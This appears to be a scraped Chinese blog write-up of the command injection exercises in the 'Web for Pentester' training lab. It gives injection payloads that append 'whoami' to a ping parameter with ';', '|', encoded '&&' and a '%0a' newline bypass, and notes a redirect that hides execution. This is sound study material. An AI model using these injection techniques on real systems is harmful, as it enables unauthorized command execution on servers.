zoukankan      html  css  js  c++  java
  • Web for pentester_writeup之Commands injection篇

    Web for pentester_writeup之Commands injection篇

    Commands injection(命令行注入)

    代码注入和命令行注入有什么区别呢,代码注入涉及比较广泛,凡是由于过滤不严格或者是逻辑问题导致的可以插入恶意代码,都属于代码注入。而命令注入就局限于system函数的过滤不严格导致执行了系统命令。
    总之就是代码注入主要是执行php代码,而命令注入主要是执行系统命令。

    Example 1

    ![](https://img2018.cnblogs.com/blog/1605154/201908/1605154-20190808152219622-972400476.png)

    这是一个简单的命令注入,执行的是ping一个ip的命令,这里我们可以使用;|符号来拼接执行后面的命令,也可以使用&&符号(需编码)。

    Payload 1
    http://192.168.219.136/commandexec/example1.php?ip=127.0.0.1;whoami

    ![](https://img2018.cnblogs.com/blog/1605154/201908/1605154-20190808150936709-1120481114.png)

    >Payload2 `http://192.168.219.136/commandexec/example1.php?ip=127.0.0.1|whoami`
    ![](https://img2018.cnblogs.com/blog/1605154/201908/1605154-20190808151020397-112813302.png)

    >Payload3 `http://192.168.219.136/commandexec/example1.php?ip=127.0.0.1%26%26whoami`
    ![](https://img2018.cnblogs.com/blog/1605154/201908/1605154-20190808151628051-917874083.jpg)

    Example 2

    ![](https://img2018.cnblogs.com/blog/1605154/201908/1605154-20190808151229918-1544430189.png)

    对IP地址参数做了相关过滤限制,这里我们使用%0a 换行符来切换命令至下一行执行

    Payload
    http://192.168.219.136/commandexec/example2.php?ip=127.0.0.1%0awhoami

    ![](https://img2018.cnblogs.com/blog/1605154/201908/1605154-20190808151243570-1671194848.png)

    Example 3

    ![](https://img2018.cnblogs.com/blog/1605154/201908/1605154-20190808151259336-212764441.jpg)

    我们发现换行符也不好使了,开启抓包模式,抓包发现程序有个302跳转,程序在运行时无论输入什么命令都会跳转Location: example3.php?ip=127.0.0.1

    ![](https://img2018.cnblogs.com/blog/1605154/201908/1605154-20190808151313164-2075732125.png)

    查看返回数据包发现,跳转时已经执行了相关命令

    ![](https://img2018.cnblogs.com/blog/1605154/201908/1605154-20190808151320268-1858804467.png)
  • 相关阅读:
    Leastsq 最小二乘法拟合一次函数简单入门例子
    Matplotlab 基础画图
    plot(x,y1,'g',x,y2,'b--o',x,y3,'c*') 方法中对数据类型的要求和线条类型和颜色的设置
    [Java] 获取255年前芝加哥格式化时间
    [SoapUI] 在Assertion和Groovy Script里获取RequestId
    [SoapUI] 在脚本里写code执行某个step
    [SoapUI] 获取TestStep的状态
    [SoapUI] 判断失败继续执行
    [Java] 获取两个日期间的所有日期
    [Excel] excel中如何快速统计出各个项出现的次数?
  • 原文地址:https://www.cnblogs.com/liliyuanshangcao/p/11321325.html
Copyright © 2011-2022 走看看